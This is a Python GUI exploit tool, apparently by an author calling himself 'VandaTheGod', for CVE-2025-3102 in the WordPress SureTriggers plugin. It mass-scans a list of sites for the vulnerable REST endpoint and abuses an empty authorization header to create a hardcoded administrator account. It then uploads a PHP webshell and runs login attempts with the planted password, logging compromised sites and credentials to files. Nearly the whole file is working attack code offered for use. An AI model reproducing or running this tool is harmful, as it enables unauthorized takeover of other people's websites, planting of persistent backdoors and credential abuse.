import tkinter as tk from tkinter import scrolledtext, messagebox, filedialog import threading import requests import os import re from urllib.parse import urljoin from reportlab.lib.pagesizes import letter from reportlab.lib import colors from reportlab.pdfgen import canvas import pandas as pd # Cores estilo cyberpunk BG_COLOR = "#0d0d0d" FG_COLOR = "#00ffcc" BTN_COLOR = "#1a1a1a" # Informações do autor AUTHOR_NAME = "Marcos Roberto / a.k.a VandaTheGod" VERSION = "1.3" # Função de log def log(msg): log_box.insert(tk.END, msg + "\n") log_box.see(tk.END) # Verificar versão do WordPress e outras CVEs def check_wordpress_version(url): try: resp = requests.get(urljoin(url, '/readme.html'), timeout=10) match = re.search(r'Version\s+(\d+\.\d+(\.\d+)*)', resp.text) if match: version = match.group(1) log(f"[i] WordPress versão detectada: {version}") return version else: log("[i] Não foi possível detectar a versão do WordPress") except: log("[i] Falha ao acessar /readme.html para detectar versão do WP") # Checar vulnerabilidade SureTriggers def check_vuln(url): try: check_wordpress_version(url) endpoint = f"{url.rstrip('/')}/wp-json/suretriggers/v1/automation/action" resp = requests.post(endpoint, timeout=10) if "rest_no_route" not in resp.text: log(f"[+] Vulnerável: {url}") with open("vulneraveis.txt", "a") as f: f.write(url + "\n") else: log(f"[-] Não vulnerável: {url}") except Exception as e: log(f"[!] Erro: {url} - {e}") # Exploração da falha def exploit(url): try: endpoint = f"{url.rstrip('/')}/wp-json/suretriggers/v1/automation/action" data = { "username": "vanda_admin", "email": "vanda@exploit.io", "password": "Vanda@123", "role": "administrator" } headers = {"st_authorization": "Bearer ", "Content-Type": "application/json"} resp = requests.post(endpoint, json=data, headers=headers, timeout=10) if resp.status_code == 200: log(f"[EXPLOITADO] Admin criado em: {url}") with open("explorados.txt", "a") as f: f.write(f"Site: {url}, Usuário: vanda_admin, Senha: Vanda@123\n") # Upload automático da webshell upload_webshell(url) else: log(f"[FALHOU] {url} - Código {resp.status_code}") except Exception as e: log(f"[!] Erro ao explorar {url} - {e}") # Upload automático da webshell def upload_webshell(url): try: endpoint = f"{url.rstrip('/')}/wp-content/uploads/vanda_shell.php" with open("vanda_shell.php", "r") as f: shell_data = f.read() files = {'file': ('vanda_shell.php', shell_data, 'application/php')} upload_endpoint = f"{url.rstrip('/')}/wp-admin/async-upload.php" resp = requests.post(upload_endpoint, files=files, timeout=10) if resp.status_code == 200: log(f"[+] Webshell enviada para: {url}") else: log(f"[!] Falha ao enviar webshell para: {url}") except Exception as e: log(f"[!] Erro ao enviar webshell para {url} - {e}") # Brute force com os usuários listados def brute_force(url): try: log(f"[+] Iniciando brute force para: {url}") with open("explorados.txt", "r") as f: users = [line.split(",")[0].split(":")[1].strip() for line in f if line.strip()] for user in users: password = "Vanda@123" # Senha conhecida para brute force login_endpoint = f"{url.rstrip('/')}/wp-login.php" data = {"log": user, "pwd": password, "wp-submit": "Log In", "testcookie": "1"} resp = requests.post(login_endpoint, data=data, timeout=10) if "wp-admin" in resp.url: log(f"[+] Brute force sucesso: {user} em {url}") with open("brute_force_success.txt", "a") as f: f.write(f"Usuário: {user} Senha: {password} Site: {url}\n") else: log(f"[-] Brute force falhou: {user} em {url}") except Exception as e: log(f"[!] Erro ao realizar brute force em {url} - {e}") # Função de exportação para PDF def export_to_pdf(): try: log("\n[+] Exportando para PDF...") file_path = filedialog.asksaveasfilename(defaultextension=".pdf", filetypes=[("PDF Files", "*.pdf")]) if not file_path: return c = canvas.Canvas(file_path, pagesize=letter) c.setFont("Helvetica", 12) y = 750 c.drawString(30, y, f"Vanda CVE-2025-3102 - Resultados - {VERSION}") y -= 20 c.drawString(30, y, f"Autor: {AUTHOR_NAME}") y -= 40 c.drawString(30, y, "[+] Resultados da Identificação de Vulnerabilidades:") y -= 20 if os.path.exists("vulneraveis.txt"): with open("vulneraveis.txt", "r") as f: for line in f: y -= 20 if y < 50: c.showPage() c.setFont("Helvetica", 12) y = 750 c.drawString(30, y, line.strip()) c.save() log("[+] Exportação para PDF concluída.") except Exception as e: log(f"[!] Erro ao exportar para PDF: {e}") # Função de exportação para Excel def export_to_excel(): try: log("\n[+] Exportando para Excel...") file_path = filedialog.asksaveasfilename(defaultextension=".xlsx", filetypes=[("Excel Files", "*.xlsx")]) if not file_path: return if os.path.exists("vulneraveis.txt"): data = {"Site": [], "Status": []} with open("vulneraveis.txt", "r") as f: for line in f: data["Site"].append(line.strip()) data["Status"].append("Vulnerável") df = pd.DataFrame(data) df.to_excel(file_path, index=False) log("[+] Exportação para Excel concluída.") except Exception as e: log(f"[!] Erro ao exportar para Excel: {e}") # Iniciar identificação def identificar(): log("\n[+] Iniciando identificação...\n") if not os.path.exists("urls.txt"): messagebox.showerror("Erro", "Arquivo 'urls.txt' não encontrado.") return open("vulneraveis.txt", "w").close() with open("urls.txt", "r") as f: urls = [linha.strip() for linha in f if linha.strip()] threads = [] for url in urls: t = threading.Thread(target=check_vuln, args=(url,)) t.start() threads.append(t) for t in threads: t.join() log("\n[✓] Identificação concluída.") enable_buttons() # Iniciar exploração def explorar(): log("\n[+] Iniciando exploração...\n") if not os.path.exists("vulneraveis.txt"): messagebox.showerror("Erro", "Arquivo 'vulneraveis.txt' não encontrado.") return with open("vulneraveis.txt", "r") as f: urls = [linha.strip() for linha in f if linha.strip()] threads = [] for url in urls: t = threading.Thread(target=exploit, args=(url,)) t.start() threads.append(t) for t in threads: t.join() log("\n[✓] Exploração finalizada.") enable_buttons() # Brute Force após exploração def brute_force_after_exploit(): log("\n[+] Iniciando brute force após exploração...\n") if not os.path.exists("explorados.txt"): messagebox.showerror("Erro", "Arquivo 'explorados.txt' não encontrado.") return with open("explorados.txt", "r") as f: urls = [linha.strip().split(",")[1].split(":")[1].strip() for linha in f if linha.strip()] threads = [] for url in urls: t = threading.Thread(target=brute_force, args=(url,)) t.start() threads.append(t) for t in threads: t.join() log("\n[✓] Brute force finalizado.") enable_buttons() # Controle dos botões def disable_buttons(): btn_identificar.config(state=tk.DISABLED) btn_explorar.config(state=tk.DISABLED) btn_bruteforce.config(state=tk.DISABLED) btn_export_pdf.config(state=tk.DISABLED) btn_export_excel.config(state=tk.DISABLED) def enable_buttons(): btn_identificar.config(state=tk.NORMAL) btn_explorar.config(state=tk.NORMAL) btn_bruteforce.config(state=tk.NORMAL) btn_export_pdf.config(state=tk.NORMAL) btn_export_excel.config(state=tk.NORMAL) # GUI app = tk.Tk() app.title("Vanda CVE-2025-3102") app.geometry("850x600") app.configure(bg=BG_COLOR) # Cabeçalho header = tk.Label(app, text=f"Vanda CVE-2025-3102 Exploit v{VERSION}", fg=FG_COLOR, bg=BG_COLOR, font=("Courier", 20, "bold")) header.pack(pady=10) author = tk.Label(app, text=f"Autor: {AUTHOR_NAME}", fg=FG_COLOR, bg=BG_COLOR, font=("Courier", 10)) author.pack(pady=5) # Botões btn_frame = tk.Frame(app, bg=BG_COLOR) btn_frame.pack(pady=10) btn_identificar = tk.Button(btn_frame, text="🔍 Identificar Vulnerabilidades", bg=BTN_COLOR, fg=FG_COLOR, command=lambda: threading.Thread(target=lambda: (disable_buttons(), identificar())).start(), font=("Courier", 12), width=35) btn_identificar.grid(row=0, column=0, padx=5, pady=5) btn_explorar = tk.Button(btn_frame, text="💥 Explorar Vulneráveis", bg=BTN_COLOR, fg=FG_COLOR, command=lambda: threading.Thread(target=lambda: (disable_buttons(), explorar())).start(), font=("Courier", 12), width=35) btn_explorar.grid(row=0, column=1, padx=5, pady=5) btn_bruteforce = tk.Button(btn_frame, text="🔒 Brute Force após Exploração", bg=BTN_COLOR, fg=FG_COLOR, command=lambda: threading.Thread(target=lambda: (disable_buttons(), brute_force_after_exploit())).start(), font=("Courier", 12), width=35) btn_bruteforce.grid(row=1, column=0, padx=5, pady=5) btn_export_pdf = tk.Button(btn_frame, text="📄 Exportar para PDF", bg=BTN_COLOR, fg=FG_COLOR, command=export_to_pdf, font=("Courier", 12), width=35) btn_export_pdf.grid(row=1, column=1, padx=5, pady=5) btn_export_excel = tk.Button(btn_frame, text="📊 Exportar para Excel", bg=BTN_COLOR, fg=FG_COLOR, command=export_to_excel, font=("Courier", 12), width=35) btn_export_excel.grid(row=2, column=0, padx=5, pady=5) # Caixa de log log_box = scrolledtext.ScrolledText(app, bg="#111", fg=FG_COLOR, font=("Courier", 10)) log_box.pack(fill=tk.BOTH, expand=True, padx=20, pady=10) app.mainloop()